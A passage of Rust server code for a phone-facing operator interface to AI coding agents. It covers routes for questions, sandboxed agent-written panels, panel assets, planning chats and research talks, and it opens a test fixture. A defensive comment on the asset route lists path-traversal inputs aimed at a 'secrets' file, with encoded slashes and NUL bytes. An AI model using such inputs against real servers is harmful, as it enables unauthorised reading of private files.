2655        let base = md::ImageBase::QuestionPanel {
2656            id: question.id.clone(),
2657        };
2658        Self {
2659            detail_md: md::to_nodes(&question.detail, &base),
2660            question,
2661        }
2662    }
2663}
2664
2665/// `GET /api/questions`.
2666///
2667/// Everything, not just the open ones: an answered question is the record of a
2668/// decision, and the phone is where the operator goes back to check what they
2669/// told an agent at 3am. `ask::Questions::list` already ranks open first.
2670async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2671    blocking(move || {
2672        Ok(Json(
2673            ui.questions
2674                .list()
2675                .into_iter()
2676                .map(QuestionView::from)
2677                .collect(),
2678        ))
2679    })
2680    .await
2681}
2682
2683/// The body of `POST /api/questions/{id}/answer`.
2684///
2685/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
2686/// a bad request rather than a guess: an answer magi invented is worse than a
2687/// question left open.
2688#[derive(Debug, Default, Deserialize)]
2689#[serde(default, deny_unknown_fields)]
2690struct NewAnswer {
2691    choice: Option<String>,
2692    text: Option<String>,
2693}
2694
2695async fn question_answer(
2696    State(ui): State<Arc<Ui>>,
2697    Path(id): Path<String>,
2698    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2699) -> ApiResult<Json<QuestionView>> {
2700    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2701    let answer = match (body.choice, body.text) {
2702        (Some(c), None) => Answer::Choice(c),
2703        (None, Some(t)) => Answer::Text(t),
2704        (Some(_), Some(_)) => {
2705            return Err(ApiError::bad_request(
2706                "send either `choice` or `text`, not both",
2707            ));
2708        }
2709        (None, None) => {
2710            return Err(ApiError::bad_request("send a `choice` or a `text`"));
2711        }
2712    };
2713
2714    blocking(move || {
2715        let id = resolve_question(&ui.questions, &id)?;
2716        let mut q = ui
2717            .questions
2718            .get(&id)
2719            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2720        if !q.status.open() {
2721            // Answered from the terminal, or by another phone, in between the
2722            // list and the tap. The UI shows the recorded answer rather than an
2723            // error, so it needs the record, not just the status.
2724            return Err(ApiError::conflict(format!(
2725                "question {} is already {}",
2726                q.short(),
2727                q.status.as_str()
2728            )));
2729        }
2730        // `Question::answer` owns the rules - an unoffered choice, free text on
2731        // a multiple-choice question, an empty reply - so the route does not
2732        // restate them and cannot drift from the CLI's behaviour.
2733        q.answer(answer).map_err(ApiError::bad_request_from)?;
2734        ui.questions.put(&mut q)?;
2735        Ok(Json(QuestionView::from(q)))
2736    })
2737    .await
2738}
2739
2740/// Expand an id or short id to exactly one question id.
2741fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2742    if store.path_of(id).is_file() {
2743        return Ok(id.to_owned());
2744    }
2745    pick(
2746        store.list().into_iter().map(|q| q.id).collect(),
2747        id,
2748        "question",
2749    )
2750}
2751
2752/// `GET /api/questions/{id}/panel`.
2753///
2754/// The panel an agent wrote for this question, as `text/html` under
2755/// [`PANEL_CSP`], for the front end to mount in a token-less sandboxed iframe.
2756/// A question without one is a 404 rather than an empty page: the client
2757/// preflights this route with `HEAD` and must be able to tell "no panel" from
2758/// "a panel that rendered blank", and a sandboxed frame is opaque to the
2759/// parent document so it cannot tell the difference by looking.
2760///
2761/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
2762/// sanitises or minifies it - a sanitiser is a list of things someone thought
2763/// of, and the sandbox plus the CSP is a list of things that are allowed, which
2764/// is the direction that stays safe when an agent writes markup nobody
2765/// predicted.
2766async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2767    blocking(move || {
2768        let id = resolve_question(&ui.questions, &id)?;
2769        let Some(html) = ui.questions.panel_html(&id) else {
2770            return Err(ApiError::not_found(format!("question {id} has no panel")));
2771        };
2772        Ok(panel_response(
2773            "text/html; charset=utf-8",
2774            false,
2775            html.into_bytes(),
2776        ))
2777    })
2778    .await
2779}
2780
2781/// `GET /api/questions/{id}/asset/{name}`.
2782///
2783/// One file from the question's own panel directory, so a panel can show a
2784/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
2785/// having to allow anything off this machine.
2786///
2787/// This is the only route in the server where a client names a file, so it is
2788/// the only one with a traversal surface, and the name is checked by
2789/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
2790/// what is worth being explicit about, because the answer is not "all of it in
2791/// one place":
2792///
2793/// * `asset/../../secrets` never reaches this handler at all. axum matches on
2794///   the raw request path and `{name}` spans exactly one segment, so a real
2795///   slash makes the request too long for the route and the router answers 404.
2796/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
2797///   percent-decodes path parameters, so `name` arrives as `../secrets` and
2798///   `..\secrets` respectively, which look like plain filenames to the router.
2799///   The validator refuses them here - both for the literal `..` and because
2800///   `/` and `\` are not in the permitted character set - and answers 400.
2801/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
2802///   the platform's path API is not, and it is refused here for the same
2803///   reason: NUL is not a permitted character.
2804/// * [`Questions::panel_asset`] validates again on read, so the check is not
2805///   load-bearing in only one place. This route's own check exists so the
2806///   failure is a 400 that says which name was wrong, rather than a store error
2807///   the operator has to interpret.
2808async fn question_asset(
2809    State(ui): State<Arc<Ui>>,
2810    Path((id, name)): Path<(String, String)>,
2811) -> ApiResult<Response> {
2812    // Before any filesystem work and before any path is built: a name this
2813    // server will not serve should not become a `PathBuf` at all.
2814    if !crate::ask::valid_asset_name(&name) {
2815        return Err(ApiError::bad_request(format!(
2816            "`{name}` is not a usable asset name"
2817        )));
2818    }
2819    blocking(move || {
2820        let id = resolve_question(&ui.questions, &id)?;
2821        let asset = ui
2822            .questions
2823            .panel_asset(&id, &name)
2824            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2825        let Some(bytes) = asset else {
2826            return Err(ApiError::not_found(format!(
2827                "question {id} has no asset `{name}`"
2828            )));
2829        };
2830        Ok(panel_response(
2831            asset_content_type(&name),
2832            is_svg(&name),
2833            bytes,
2834        ))
2835    })
2836    .await
2837}
2838
2839/// Content type for a panel asset, from a closed whitelist.
2840///
2841/// A whitelist with an `application/octet-stream` fallback rather than a
2842/// guess, because the one answer that must never come out of here is
2843/// `text/html`. An agent that writes `notes.html` into its panel directory and
2844/// links it would otherwise get its own markup rendered at the top level of the
2845/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
2846/// magi's origin - which is precisely the thing the panel design exists to
2847/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
2848///
2849/// `nosniff` accompanies this on every response, so a browser cannot decide it
2850/// knows better than the type we sent.
2851fn asset_content_type(name: &str) -> &'static str {
2852    match extension(name).as_deref() {
2853        Some("png") => "image/png",
2854        Some("jpg" | "jpeg") => "image/jpeg",
2855        Some("gif") => "image/gif",
2856        Some("webp") => "image/webp",
2857        Some("svg") => "image/svg+xml",
2858        Some("css") => "text/css; charset=utf-8",
2859        Some("txt") => "text/plain; charset=utf-8",
2860        _ => "application/octet-stream",
2861    }
2862}
2863
2864/// Is this an SVG, and therefore a file that must never be opened at the top
2865/// level?
2866fn is_svg(name: &str) -> bool {
2867    extension(name).as_deref() == Some("svg")
2868}
2869
2870/// Lowercased extension, or `None` for a name without one.
2871fn extension(name: &str) -> Option<String> {
2872    name.rsplit_once('.')
2873        .map(|(_, ext)| ext.to_ascii_lowercase())
2874}
2875
2876/// Every panel response, with the four headers that make it safe and, for an
2877/// SVG, a fifth.
2878///
2879/// One function rather than a header list per handler, because a panel route
2880/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
2881/// model gone, silently, on one of two routes. Adding a third panel route later
2882/// means calling this, and there is nowhere else to build a panel response.
2883///
2884/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
2885/// as an `<img src>` inside the panel that script cannot run - but the asset
2886/// URL is also a plain URL an operator can be talked into opening in a tab,
2887/// where it is a document on magi's own origin. `Content-Disposition:
2888/// attachment` makes the browser download it instead of rendering it, which
2889/// closes that door without taking away the ability to draw a diff. Raster
2890/// images have no such execution surface and are left inline, so tapping a
2891/// screenshot still shows it.
2892fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2893    let mut res = (
2894        [
2895            (header::CONTENT_TYPE, content_type),
2896            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2897            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2898            (header::REFERRER_POLICY, "no-referrer"),
2899        ],
2900        body,
2901    )
2902        .into_response();
2903    if download {
2904        res.headers_mut().insert(
2905            header::CONTENT_DISPOSITION,
2906            HeaderValue::from_static("attachment"),
2907        );
2908    }
2909    res
2910}
2911
2912/// A chat as the phone reads it.
2913///
2914/// Every field of [`Chat`] verbatim, plus the two things `app.js` would
2915/// otherwise have to parse itself: `turn_bodies_md`, one markdown node tree
2916/// per entry of `turns` in the same order, and `draft_md`, the parsed form of
2917/// `draft` when there is one. `turns` and `draft` are untouched - a client
2918/// reading the exact bytes a chat turn holds, or the exact bytes that would
2919/// be filed as a task, still can.
2920#[derive(Debug, Serialize)]
2921struct ChatView {
2922    #[serde(flatten)]
2923    chat: Chat,
2924    turn_bodies_md: Vec<Vec<md::Node>>,
2925    draft_md: Option<Vec<md::Node>>,
2926}
2927
2928impl From<Chat> for ChatView {
2929    fn from(chat: Chat) -> Self {
2930        let turn_bodies_md = chat
2931            .turns
2932            .iter()
2933            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2934            .collect();
2935        let draft_md = chat
2936            .draft
2937            .as_deref()
2938            .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2939        Self {
2940            turn_bodies_md,
2941            draft_md,
2942            chat,
2943        }
2944    }
2945}
2946
2947/// `GET /api/chats`.
2948///
2949/// Every interview, open ones first and newest first, which is
2950/// [`Chats::list`]'s own order. The whole record including the transcript: a
2951/// conversation is a few kilobytes, the phone renders it directly, and a
2952/// summary here would mean a second round trip to read the only thing a chat
2953/// is made of.
2954async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2955    blocking(move || {
2956        Ok(Json(
2957            ui.chats.list().into_iter().map(ChatView::from).collect(),
2958        ))
2959    })
2960    .await
2961}
2962
2963async fn chat_detail(
2964    State(ui): State<Arc<Ui>>,
2965    Path(id): Path<String>,
2966) -> ApiResult<Json<ChatView>> {
2967    blocking(move || {
2968        let id = resolve_chat(&ui.chats, &id)?;
2969        Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2970    })
2971    .await
2972}
2973
2974/// The body of `POST /api/chats`.
2975///
2976/// `agent` names a seat from the roster to do the interviewing; absent means
2977/// the configured default, which is what the phone sends. `repo` is a path,
2978/// not a short name - resolving `owner/repo` against `[repos] roots` is the
2979/// job of whatever built the picker the operator chose from, i.e.
2980/// `GET /api/repos`, so this route only ever has to trust a path. `from`
2981/// derives this conversation from an existing one - see [`chat::start`].
2982/// Unknown fields are ignored so a newer front end still starts an interview
2983/// against an older binary.
2984#[derive(Debug, Default, Deserialize)]
2985#[serde(default)]
2986struct NewChat {
2987    idea: String,
2988    agent: Option<String>,
2989    repo: Option<PathBuf>,
2990    from: Option<String>,
2991}
2992
2993/// `POST /api/chats`.
2994///
2995/// Starting an interview runs the first agent turn, so this is as slow as
2996/// [`chat_say`] and is async for the same reason. There is no turn guard yet
2997/// because there is no chat yet: the id does not exist until [`chat::start`]
2998/// returns, so two taps produce two separate interviews rather than two turns
2999/// in one. Two interviews are recoverable - abandon one - where two interleaved
3000/// turns are not.
3001async fn chat_post(
3002    State(ui): State<Arc<Ui>>,
3003    body: std::result::Result<Json<NewChat>, JsonRejection>,
3004) -> ApiResult<impl IntoResponse> {
3005    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3006    if body.idea.trim().is_empty() {
3007        return Err(ApiError::bad_request(
3008            "an interview needs something to interview about",
3009        ));
3010    }
3011
3012    // Resolved before the agent runs, so a bad `from` id is a 4xx that names
3013    // it rather than a wasted agent turn against a conversation that does not
3014    // exist.
3015    let from = {
3016        let ui = Arc::clone(&ui);
3017        let from_id = body.from.clone();
3018        blocking(move || match from_id {
3019            None => Ok(None),
3020            Some(id) => {
3021                let resolved = resolve_chat(&ui.chats, &id)?;
3022                Ok(Some(ui.chats.get(&resolved)?))
3023            }
3024        })
3025        .await?
3026    };
3027
3028    // Read the configuration for this request rather than at startup, so an
3029    // edit to `magi.toml` - a new seat, a different interviewer - takes effect
3030    // without restarting the server the operator reaches from their phone.
3031    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3032    let cfg = config_for(&repo).await?;
3033    let chat = chat::start(
3034        &ui.chats,
3035        &cfg,
3036        repo,
3037        &body.idea,
3038        body.agent.as_deref(),
3039        from.as_ref(),
3040    )
3041    .await
3042    .map_err(ApiError::from)?;
3043    Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
3044}
3045
3046/// The body of `POST /api/chats/{id}/say`.
3047#[derive(Debug, Default, Deserialize)]
3048#[serde(default, deny_unknown_fields)]
3049struct NewTurn {
3050    text: String,
3051}
3052
3053/// `POST /api/chats/{id}/say` - one turn of the interview.
3054///
3055/// The one handler here that is not filesystem work, and therefore the one
3056/// that must not go through [`blocking`]: it spawns an agent CLI and waits tens
3057/// of seconds for a paragraph. Sitting on an executor thread for that long
3058/// would starve the change stream of every other connected phone, which is the
3059/// opposite of what `blocking` is for. It holds no lock across the `await`
3060/// either - the turn slot is a set membership, not a mutex guard - so nothing
3061/// else in the server is delayed by a slow interview.
3062///
3063/// What the operator sees while it runs: a request outstanding for the whole
3064/// turn, with no partial output, because the agent CLIs magi drives return one
3065/// answer at the end rather than a stream. On a phone that means the composer
3066/// stays pending for up to the seat's timeout. There is deliberately no
3067/// progress channel to invent one from; the SSE `chats_rev` bump is the signal
3068/// that the turn landed, and it fires from the file `chat::say` wrote, so a
3069/// phone whose radio slept through the reply still learns about it.
3070///
3071/// A failed turn is still a turn. [`chat::say`] records the operator's message
3072/// and an agent turn explaining the failure before it returns an error, so this
3073/// answers 200 with the conversation: that recorded explanation is the thing
3074/// the operator needs to read, and a 5xx would make the front end show a
3075/// generic banner and hide it. The guard against that being a lie is the turn
3076/// count - if the transcript did not grow, nothing happened and the error is
3077/// reported as one.
3078async fn chat_say(
3079    State(ui): State<Arc<Ui>>,
3080    Path(id): Path<String>,
3081    body: std::result::Result<Json<NewTurn>, JsonRejection>,
3082) -> ApiResult<(StatusCode, Json<ChatView>)> {
3083    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3084    if body.text.trim().is_empty() {
3085        return Err(ApiError::bad_request("say something"));
3086    }
3087
3088    let id = {
3089        let ui = Arc::clone(&ui);
3090        let asked = id.clone();
3091        blocking(move || resolve_chat(&ui.chats, &asked)).await?
3092    };
3093    // Claimed before the chat is loaded, so the record this turn appends to was
3094    // read after the claim and cannot be a snapshot another turn has since
3095    // replaced.
3096    let _turn = ui.begin_turn(&id)?;
3097
3098    let (chat, cfg) = {
3099        let ui = Arc::clone(&ui);
3100        let id = id.clone();
3101        blocking(move || {
3102            let chat = ui.chats.get(&id)?;
3103            let (cfg, _) = Config::discover(&chat.repo, None)?;
3104            Ok((chat, cfg))
3105        })
3106        .await?
3107    };
3108
3109    // The operator's turn is recorded, the agent's turn runs in the background,
3110    // and the response goes back now.
3111    //
3112    // This used to hold the HTTP connection for the whole turn - 23 to 90
3113    // seconds against a real model. On a phone that is a coin flip: a screen
3114    // lock or a network handoff drops the request and the browser reports
3115    // "Failed to fetch", while the server finishes the turn and writes it to
3116    // disk. The operator is then told their message failed when it did not,
3117    // which is the worst of both answers. Every other moving part in magi is
3118    // state on disk plus the change stream; this was the one place that
3119    // depended on a connection staying up, and it did not need to.
3120    //
3121    // The turn guard moves into the spawned task, so a second `say` on the
3122    // same chat still gets a 409 while this one is in flight.
3123    let chats = ui.chats.clone();
3124    let text = {
3125        let mut chat = chat.clone();
3126        let chats = chats.clone();
3127        let said = body.text.clone();
3128        blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
3129    };
3130    // Re-read so the spawned task appends to the record that now holds the
3131    // operator's turn, rather than to the snapshot taken before it.
3132    let mut chat = {
3133        let ui = Arc::clone(&ui);
3134        let id = id.clone();
3135        blocking(move || Ok(ui.chats.get(&id)?)).await?
3136    };
3137    let queued = chat.clone();
3138    tokio::spawn(async move {
3139        let _turn = _turn;
3140        if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
3141            // `respond` records the failure in the transcript itself, which is
3142            // what the phone reads; this line is for the operator's terminal.
3143            tracing::warn!("chat {id} turn failed: {e:#}");
3144        }
3145    });
3146
3147    // 202: the operator's message is recorded and a turn is running. The front
3148    // end learns the reply from the change stream, the same way it learns
3149    // everything else.
3150    Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
3151}
3152
3153/// The body of `POST /api/chats/{id}/file`, which the phone sends empty.
3154#[derive(Debug, Default, Deserialize)]
3155#[serde(default, deny_unknown_fields)]
3156struct FileDraft {
3157    priority: i32,
3158}
3159
3160/// `POST /api/chats/{id}/file` - validate the agent's draft and queue it.
3161///
3162/// The 400 carries every problem [`chat::draft_problems`] found, as an array
3163/// beside the usual message, because the operator fixing them is on a phone:
3164/// one problem per round trip would mean asking the interviewer to rewrite the
3165/// draft three times for what is one edit.
3166async fn chat_file(
3167    State(ui): State<Arc<Ui>>,
3168    Path(id): Path<String>,
3169    body: std::result::Result<Json<FileDraft>, JsonRejection>,
3170) -> ApiResult<Json<serde_json::Value>> {
3171    // An absent body is the normal case - the front end posts with no content
3172    // type at all - and means the default priority. A body that is present and
3173    // malformed is still a bad request, because silently filing at the wrong
3174    // priority is worse than saying no.
3175    let body = match body {
3176        Ok(Json(body)) => body,
3177        Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
3178        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3179    };
3180
3181    blocking(move || {
3182        let id = resolve_chat(&ui.chats, &id)?;
3183        let mut chat = ui.chats.get(&id)?;
3184        // Asked before filing so the answer can be the whole list. `file_draft`
3185        // applies the same rule and would refuse too, but only with a flattened
3186        // string, and re-splitting an error message to rebuild the list is the
3187        // kind of thing that breaks the day someone adds a comma.
3188        if let Err(problems) = chat::draft_problems(&chat) {
3189            return Err(ApiError::bad_request_with(
3190                "the draft is not fileable yet",
3191                problems,
3192            ));
3193        }
3194        let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
3195        Ok(Json(serde_json::json!({ "task": task })))
3196    })
3197    .await
3198}
3199
3200/// Expand an id or short id to exactly one chat id.
3201fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
3202    pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
3203}
3204
3205/// A talk as the phone reads it.
3206///
3207/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
3208/// tree per entry of `turns`, in order - the same accommodation
3209/// [`ChatView`] makes so `app.js` never parses markdown itself.
3210#[derive(Debug, Serialize)]
3211struct TalkView {
3212    #[serde(flatten)]
3213    talk: Talk,
3214    turn_bodies_md: Vec<Vec<md::Node>>,
3215}
3216
3217impl From<Talk> for TalkView {
3218    fn from(talk: Talk) -> Self {
3219        let turn_bodies_md = talk
3220            .turns
3221            .iter()
3222            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
3223            .collect();
3224        Self {
3225            turn_bodies_md,
3226            talk,
3227        }
3228    }
3229}
3230
3231/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
3232/// conversation has filed, so the phone can follow one from inside the
3233/// conversation that asked for it rather than hunting the Queue for a task id
3234/// it may not remember.
3235#[derive(Debug, Serialize)]
3236struct TalkDetailView {
3237    #[serde(flatten)]
3238    view: TalkView,
3239    tasks: Vec<TaskView>,
3240}
3241
3242/// `GET /api/talks`.
3243///
3244/// Every conversation, open ones first and newest first - [`Talks::list`]'s
3245/// own order, the same one [`chats_list`] reports for Planning.
3246async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
3247    blocking(move || {
3248        Ok(Json(
3249            ui.talks.list().into_iter().map(TalkView::from).collect(),
3250        ))
3251    })
3252    .await
3253}
3254
3255/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3256/// message, unlike starting a Planning interview. `repo` defaults to the
3257/// server's own; `agent` to `[roles] planner`, [`talk::begin`]'s own default.
3258/// Unknown fields are ignored so a newer front end still opens a talk against
3259/// an older binary.
3260#[derive(Debug, Default, Deserialize)]
3261#[serde(default)]
3262struct NewTalk {
3263    agent: Option<String>,
3264    repo: Option<PathBuf>,
3265}
3266
3267/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3268/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3269async fn talk_post(
3270    State(ui): State<Arc<Ui>>,
3271    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3272) -> ApiResult<impl IntoResponse> {
3273    // An absent body, or an empty one, is the normal way to open a talk - see
3274    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3275    // rather than refused, the same accommodation `chat_file` makes.
3276    let body = match body {
3277        Ok(Json(body)) => body,
3278        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3279        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3280    };
3281    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3282    let cfg = config_for(&repo).await?;
3283    let view = blocking(move || {
3284        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3285        Ok(TalkView::from(talk))
3286    })
3287    .await?;
3288    Ok((StatusCode::CREATED, Json(view)))
3289}
3290
3291/// `GET /api/talks/{id}`.
3292async fn talk_detail(
3293    State(ui): State<Arc<Ui>>,
3294    Path(id): Path<String>,
3295) -> ApiResult<Json<TalkDetailView>> {
3296    blocking(move || {
3297        let id = resolve_talk(&ui.talks, &id)?;
3298        let talk = ui.talks.get(&id)?;
3299        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3300            .into_iter()
3301            .map(TaskView::from)
3302            .collect();
3303        Ok(Json(TalkDetailView {
3304            view: TalkView::from(talk),
3305            tasks,
3306        }))
3307    })
3308    .await
3309}
3310
3311/// The body of `POST /api/talks/{id}/say`.
3312#[derive(Debug, Default, Deserialize)]
3313#[serde(default, deny_unknown_fields)]
3314struct NewTalkTurn {
3315    text: String,
3316}
3317
3318/// `POST /api/talks/{id}/say` - one turn of the conversation.
3319///
3320/// The same asynchronous shape as [`chat_say`], for the same reason: this
3321/// route spawns an agent CLI and a turn here can run for the whole of
3322/// [`talk::TURN_TIMEOUT`] - fifteen minutes, three times a planning turn's
3323/// budget, because a research turn is expected to run commands rather than
3324/// answer from what it already knows. Holding an HTTP connection open that
3325/// long is not a thing to ask a phone to do; the operator's message is
3326/// recorded and answered for immediately, and the reply lands in the
3327/// background, discovered through the change stream's `talks_rev` the same
3328/// way every other update on this surface is.
3329async fn talk_say(
3330    State(ui): State<Arc<Ui>>,
3331    Path(id): Path<String>,
3332    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3333) -> ApiResult<(StatusCode, Json<TalkView>)> {
3334    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3335    if body.text.trim().is_empty() {
3336        return Err(ApiError::bad_request("say something"));
3337    }
3338
3339    let id = {
3340        let ui = Arc::clone(&ui);
3341        let asked = id.clone();
3342        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3343    };
3344    // Claimed before the talk is loaded, so the record this turn appends to
3345    // was read after the claim and cannot be a snapshot another turn has
3346    // since replaced - the same ordering `chat_say` relies on.
3347    let _turn = ui.begin_talk_turn(&id)?;
3348
3349    let (talk, cfg) = {
3350        let ui = Arc::clone(&ui);
3351        let id = id.clone();
3352        blocking(move || {
3353            let talk = ui.talks.get(&id)?;
3354            let (cfg, _) = Config::discover(&talk.repo, None)?;
3355            Ok((talk, cfg))
3356        })
3357        .await?
3358    };
3359
3360    let talks = ui.talks.clone();
3361    let text = {
3362        let mut talk = talk.clone();
3363        let talks = talks.clone();
3364        let said = body.text.clone();
3365        blocking(move || Ok(talk::record(&mut talk, &talks, &said)?)).await?
3366    };
3367    // Re-read so the spawned task appends to the record that now holds the
3368    // operator's turn, rather than to the snapshot taken before it.
3369    let talk = {
3370        let ui = Arc::clone(&ui);
3371        let id = id.clone();
3372        blocking(move || Ok(ui.talks.get(&id)?)).await?
3373    };
3374    let queued = talk.clone();
3375    tokio::spawn(async move {
3376        let _turn = _turn;
3377        let mut talk = talk;
3378        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3379            // `respond` records the failure in the transcript itself, which is
3380            // what the phone reads; this line is for the operator's terminal.
3381            tracing::warn!("talk {id} turn failed: {e:#}");
3382        }
3383    });
3384
3385    // 202: the operator's message is recorded and a turn is running.
3386    Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3387}
3388
3389/// `POST /api/talks/{id}/close`.
3390async fn talk_close(
3391    State(ui): State<Arc<Ui>>,
3392    Path(id): Path<String>,
3393) -> ApiResult<Json<TalkView>> {
3394    blocking(move || {
3395        let id = resolve_talk(&ui.talks, &id)?;
3396        let mut talk = ui.talks.get(&id)?;
3397        talk::close(&mut talk, &ui.talks)?;
3398        Ok(Json(TalkView::from(talk)))
3399    })
3400    .await
3401}
3402
3403/// Expand an id or short id to exactly one talk id.
3404fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3405    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3406}
3407
3408/// The configuration for a repository, read off the disk for this request.
3409///
3410/// Through [`blocking`] because discovery reads and merges several TOML files,
3411/// and because the alternative - caching it in [`Ui`] at startup - would mean
3412/// the operator's phone kept interviewing with a roster they had already
3413/// changed, with no way to reload it but restarting the server they are not
3414/// sitting in front of.
3415async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3416    let repo = repo.to_path_buf();
3417    blocking(move || {
3418        let (cfg, _) = Config::discover(&repo, None)?;
3419        Ok(cfg)
3420    })
3421    .await
3422}
3423
3424/// The one prefix rule, used for both runs and tasks: a leading match for a
3425/// full id, a trailing match for the short form an operator reads off a
3426/// report. Written here rather than borrowed from `queue::resolve_id` because
3427/// the UI needs the two failures as different status codes, and telling them
3428/// apart from an error message is not something to build a route on.
3429fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3430    let mut hits = ids
3431        .into_iter()
3432        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3433    match (hits.next(), hits.next()) {
3434        (Some(one), None) => Ok(one),
3435        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3436        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3437            "`{prefix}` matches more than one {what}, including {a} and {b}"
3438        ))),
3439    }
3440}
3441
3442#[cfg(test)]
3443mod tests {
3444    use pretty_assertions::assert_eq;
3445    use serde_json::Value;
3446    use tempfile::TempDir;
3447    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3448
3449    use super::*;
3450    use crate::config::Config;
3451    use crate::queue::{Source, TaskStatus};
3452
3453    /// A home with a queue and a runs directory, and a router serving it on
3454    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
3455    /// dependency, not ours - so the tests drive a real socket, which has the
3456    /// side benefit of asserting the status line and content types the phone
3457    /// actually receives.
3458    struct Fixture {
3459        home: TempDir,
3460        addr: SocketAddr,
3461    }
3462
3463    impl Fixture {
3464        async fn start() -> Self {
3465            Self::with_loop(launch_idle).await
3466        }
3467
3468        /// A fixture whose loop is `launch`.
3469        async fn with_loop(launch: Launch) -> Self {
3470            let home = TempDir::new().expect("temp home");
3471            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3472            Self { home, addr }
3473        }
3474
3475        /// A fixture whose `ui.repo` is a real directory rather than the
3476        /// usual placeholder - for the routes that read config off it
3477        /// (`GET /api/repos`) and would otherwise have nothing to discover.
3478        async fn with_repo(repo: PathBuf) -> Self {
3479            let home = TempDir::new().expect("temp home");
3480            let addr = Self::serve(home.path(), repo, launch_idle).await;
3481            Self { home, addr }
3482        }
3483
3484        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3485            let queue = Queue::at(home.join("queue"));
3486            let runs = home.join("runs");
3487            std::fs::create_dir_all(&runs).expect("runs dir");
3488            let worktrees = home.join("wt").join("magi");
3489            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3490            let ui = Ui::new(
3491                queue,
3492                Questions::at(home.join("questions")),
3493                Chats::at(home.join("chats")),
3494                Talks::at(home.join("talks")),
3495                runs,
3496                home.to_path_buf(),
3497                repo,
3498            )
3499            .with_worktrees_root(worktrees)
3500            .with_launch(launch);
3501            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3502                .await
3503                .expect("bind loopback");
3504            let addr = listener.local_addr().expect("local addr");
3505            tokio::spawn(async move {
3506                let _ = axum::serve(listener, ui.router()).await;
3507            });
3508            addr
3509        }
3510
3511        fn queue(&self) -> Queue {
3512            Queue::at(self.home.path().join("queue"))
3513        }
3514
3515        fn questions(&self) -> Questions {
3516            Questions::at(self.home.path().join("questions"))
3517        }
3518
3519        fn chats(&self) -> Chats {
3520            Chats::at(self.home.path().join("chats"))
3521        }
3522
3523        fn talks(&self) -> Talks {
3524            Talks::at(self.home.path().join("talks"))
3525        }
3526
3527        fn runs(&self) -> PathBuf {
3528            self.home.path().join("runs")
3529        }
3530
3531        async fn get(&self, path: &str) -> Res {
3532            request(self.addr, "GET", path, None).await
3533        }
3534
